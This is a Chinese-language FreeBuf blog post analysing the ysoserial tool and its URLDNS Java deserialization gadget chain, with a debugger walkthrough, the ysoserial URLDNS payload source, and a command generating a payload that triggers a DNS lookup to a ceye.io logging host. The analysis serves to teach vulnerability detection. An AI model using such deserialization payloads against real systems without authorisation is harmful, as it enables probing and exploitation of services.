freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

java反序列化-URLDNS链
2022-03-01 10:17:08
所属地 山西省

URLdns链

ysoserial运行流程分析

https://github.com/frohoff/ysoserial/

下载后导入idea,

这里可以配置好需要的参数。

image-20220114205839352

主类

image-20220114204820390

首先如果不是两个参数,打印使用选项,退出。

是的话,把两个参数分别赋值给payloadTypecommand

然后获取payloadType的需要继承ObjectPayload类的Class类对象,

image-20220114204906282

跟进Utils.getPayloadClass

这里反射得到了一个类对象,并通过一些if判断后将其返回。

因为反射参数是需要完整包名的,所以这里 clazz == null,然后将其拼接报名后,反射获取类对象。

image-20220114210149854

反射将对象实例化,(ObjectPayload 类型是因为工具里 paylaod都继承于它)。

image-20220114210422537

跟进getObject方法,这里重写了ObjectPayload的方法,然后返回ht对象,这里ht对象是需要序列化的对象,具体利用稍后分析。

image-20220114210713777

跟进Serializer.serialize方法,这里知识工具写的自己的一个类,并不是JDK自带的。

image-20220114210858723

这里是将传进来的 对象序列化,然后打印出来,这里打印出来的就是我们需要的payload。

image-20220114211009549

这里再跟进一下,之后的代码就收尾了。

image-20220114211131814

直接返回,

image-20220114211352350

URLDNS使用

URLDNS这条利用链并不依赖于第三方的类库,是JDK中内置的一些类的方法,所以作为漏洞检测来说是一个较好的方法。

打包 jar 包,

mvn clean package -DskipTests

生成序列化payload ,写进 payload.txt,

java8 -jar .\ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://1o447t.ceye.io" > payload.txt

测试demo:

package urldns;

import java.io.*;

public class URLDNSTest {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("payload.txt"));
        objectInputStream.readObject();
    }
}

image-20220114213636436

成功收到DNS请求,也就是说payload执行成功。

URLDNS链分析

ysoserial 中已经给出其利用链,

*   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

我们从POC在调试一遍objectInputStream.readObject();下断点,继续跟进readObject方法,因为这是JDK原生方法,所以强制步入。

image-20220114221228188

这里跟进readObject0方法。

image-20220114221513429

获取序列化数据的第一个字符 115。

image-20220115102654590

如果是对象的反序列化,这里tc=115,即0x73,所以走下面的TC_OBJECT。

跟进readOrdinaryObject

image-20220115102756050

readClassDesc读取类的描述信息,

checkDeserialize是否能够反序列化,不能的话抛出异常。

image-20220115103702260

image-20220115103654106

desc.newInstance()实例化对象,此时对象的属性为空,

readSerialData进行对象属性赋值。

image-20220115103937990

然后一步步调用到HashMap的 readObject 方法,我们直接打断点。

image-20220115104939561

跟进hash方法,

image-20220115104958594

跟进key.hashCode(),key为一个URL对象,

image-20220115105027620

继续跟进hashCode方法,

image-20220115105059240

跟进getHostAddress

image-20220115105130340

InetAddress.getByName(host);成功触发dns请求,

image-20220115105140552

整个链,

HashMap:readObject -->
HashMap:hash -->
URL:hashCode -->
URLStreamHandler:hashCode -->
URLStreamHandle:getHostAddress -->
InetAddress:getByName

思考

在构造poc的时候按理说也会执行相应的流程,产生DNS请求,这样会在实际中产生混淆。

看看ysoserial中是如何避免的,

package ysoserial.payloads;

import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

/*
 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()
 *
 *
 */
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        /**
         * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
         * using the serialized object.</p>
         *
         * <b>Potential false negative:</b>
         * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
         * second resolution.</p>
         */
        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

这里作者自己写了一个类,继承URLStreamHandler并重写getHostAddress方法,而这个方法恰巧是触发DNS请求的关键。

触发点是put方法,打断点,跟进,参数为 一个URL对象和 url字符串,

注意:前方作者 new 了一个SilentURLStreamHandler对象,并将其作为参数传入URL构造方法,使得transient URLStreamHandler handler;被赋值。

image-20220114214221404

跟进hash方法, key 为属性为我们传入的 url的 URL对象,

image-20220114214536707

跟进hashCode方法,

image-20220114214513808

这里hashCode初始值为 -1 ,所以跳过if,

private int hashCode = -1;

image-20220115110602331

继续跟进handler.hashCode,这里 handler 即为上边的SilentURLStreamHandler对象,

transient URLStreamHandler handler;

SilentURLStreamHandler没有重写hashCode方法,所以跳入URLStreamHandlerhashCode方法,这里先得到 URL 的协议 http ,然后计算其hashcode,image-20220114214940568

跟进getHostAddress,注意这里SilentURLStreamHandler重写了getHostAddress方法,也就是说会跳进重写的方法里,

image-20220115110903822

所以这里生成poc是不会产生 dns 请求。

那为什么反序列化时产生了dns请求,不会走重写的getHostAddress的方法呢?

java中的transient关键字,是短暂的意思。对于transient修饰的成员变量,在序列化处理过程中会被忽略。

# java反序列化 # Java反序列化漏洞分析 # JAVA安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录